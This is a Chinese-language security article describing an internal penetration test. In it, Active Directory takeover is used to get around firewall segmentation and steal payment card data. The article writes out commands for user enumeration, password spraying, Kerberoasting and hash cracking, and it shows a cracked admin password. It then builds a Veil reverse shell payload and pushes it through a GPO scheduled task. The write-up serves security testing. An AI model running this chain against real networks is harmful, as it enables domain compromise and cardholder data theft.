看我如何使用Windows域繞過防火墻獲取持卡人數據的訪問權限

2019-06-02 46551人圍觀 數據安全

1.png

寫在前面的話

在這篇文章中,我們將介紹如何繞過防火墻系統,并獲取到持卡人數據環境(CDE)的訪問權。最終目標:提取目標用戶的信用卡數據。

如果你需要在你的網絡中存儲、傳輸或處理信用卡數據的話,那么信用卡數據安全就必須要得到有效保障。根據PCI數據安全標準(PCI-DSS),持卡人數據可以直接在內部網絡中傳輸和發送,前提是網絡系統已實施了網絡分割,而這種網絡范圍(劃分持卡人數據環境跟其他網絡)的定義一般都是通過防火墻來實現的。

為了保護客戶的機密數據,我們需要對網絡的實現細節進行修改。假設公司擁有一個非常大型的網絡系統,全部的地址都在10.0.0.0/8這個范圍內。持卡人數據則需要單獨劃分至192.168.0.0/16這個范圍,并通過防火墻進行隔離。

注:CDE一般由呼叫中心(負責處理電話訂單)和操作人員(負責將支付信息填寫進Web表但)組成。

此次測試只是一次內部測試,因此我們直接連接至公司的內部辦公網絡(10.0.0.0/8地址范圍)。從這個地址利用ping命令和端口掃描功能來掃描CDE環境:

2.png3.png

Ping掃描基本上相當于直接運行ping命令,但nmap可以“一鍵式”掃描整個IP段?!癶osts up”是第二個命令的輸出,因為我們添加了“-Pn”參數來判斷是否是第一次ping,因此nmap將會報告當前范圍內所有“up”的主機。

因此,除非部署了防火墻規則來繞過漏洞,或防火墻使用了弱密碼,否則這種方式的效果是不會理想的。因此,我們第一不要做的就是如何通過獲取域管理員權限來控制活動目錄。

如何變成域管理員?

在我們的場景中,我們選擇使用kerberoast來控制域。入侵活動目錄的第一步,通常需要獲取任意用戶賬號的訪問權,只要我們能夠通過域控制器的認證就可以了。在Windows中,所有的賬號都能通過域控制器的認證,即使它們沒有權限來做實際的事情。也就是說,最低權限的賬戶,只要登錄完成之后并輸入正確的密碼,它就可以通過驗證。

在這名用戶的站點上,沒有在域控制器中啟用會話。因此,我們的域控制器為10.0.12.100,“PETER”。我們可以使用enum4linux之類的功能根據來枚舉出用戶列表,并獲取到域中每一位用戶的用戶名:

$ enum4linux -R 1000-50000 10.0.12.100|tee enum4linux.txt

4.png5.png

拿到用戶列表之后,我們就可以對其進行解析處理了:

$ cat enum4linux.txt | grep '(LocalUser)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed's/MACFARLANE\\//g'

6.png

這個網絡非常龐大,有超過25000個活動用戶,不過我使用grep進行了簡單的用戶篩選,足以演示我們的攻擊操作了。

現在,拿到包含用戶列表的文本文件后,我們就可以使用CrackMapExec之類的工具來猜測用戶密碼了。這里我們猜測目標賬號的密碼是否為“Password1”:

$ cme smb 10.0.12.100 -u users.txt -pPassword1

7.png

如果我們想要繼續猜解,則需要指定“–continue-on-success”參數:

8.png

拿到這個用戶賬號之后,我們就可以查詢活動目錄,并獲取服務賬號列表了。服務賬號就是針對服務運行的用戶賬號,比如說Microsoft SQL Server等等,它們需要在特定用戶賬號環境中運行?;顒幽夸浀?a >Kerberos認證系統可以用來提供訪問權限,因此活動目錄會提供一個“服務令牌”來運行用戶進行認證。

通過從域控制器請求Kerberos服務賬號列表,我們還可以得到每一個賬號的“服務令牌”。這個服務令牌使用了服務賬號的密碼進行加密。所以,如果我們破解密碼,我們就可以使用這個賬號,而這種賬號一般都是高權限賬號:

9.png

我們可以看到,其中一個賬號為域管理組成員,所以我們可以直接破解它:

$ hashcat -m 13100 --potfile-disableSPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

Hashcat運行之后,我們就拿到了明文密碼:

10.png

這是一個活動賬號,我們可以再次使用CrackMapExec:

$ cme smb 10.0.12.100 -u redrum -p'murder1!'

11.png

非常好,我們拿到了域控制器的管理員賬號!

12.jpg

現在,雖然我們不能直接訪問目標設備,但我們可以通過活動目錄域來讓域控制器幫助我們跟目標設備進行交互。我們的目標是在CDE中通過呼叫中心控制同一活動目錄中的其他計算機。為此,我們還需要深入了解組策略對象(GPO)。

GPO允許將各種范圍級別的設置應用于用戶和計算機,它可以以不同范圍級別控制域中的計算機??蛻鬐PO的許多功能都適用于統一管理組織中的IT設置。例如,統一設置密碼策略,或者統一設置為用戶桌面顯示哪些圖標(例如,打開公司網站的快捷方式)。而有一個GPO可以運行微軟中的“計劃任務”,這正是我們所需要的。

這里我創建了一個需要在目標機器中運行的腳本,讓它們連接回我們的機器。以下是具體步驟:

1.生成payload。這里我們使用了Veil Evasion。我們的IP地址是10.0.12.1,因此我們設置回連到這個地址:

$ veil -t EVASION -p 22 --ip 10.0.12.1--port 8755 -o pci_shell

13.png

2.使用我們從kerberoasting獲得的憑據,通過遠程桌面協議(RDP)登錄到域控制器。

14.png

3.在活動目錄中找到CDE。根據我們對目標的了解,他們的呼叫中心在2樓工作。通過瀏覽目錄,我們定位到一個特殊的名字:

15.png

4.將我們用Veil制作的惡意腳本放入文件夾,然后在域控制器上進行共享。在共享和目錄上設置權限,允許所有域用戶讀?。?/p>

16.png

5.創建GPO策略:

17.png

6.在編輯這個新的GPO時,點擊“計劃任務”,并創建新的“即時計劃任務”:

18.png

7.創建指向共享惡意腳本的任務。同時在common下設置”Run in logged-on user’s securitycontext”:

19.png

等待片刻后,情況如下所示:

20.png

沒錯,就是我們要的支付卡數據:

21.png

滲透工作目前已全部完成!

22.jpg

*參考來源:markitzeroday,FB小編Alpha_h4ck編譯,轉載請注明來自FreeBuf.COM

取消
Loading...

特別推薦

推薦關注

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php jizzz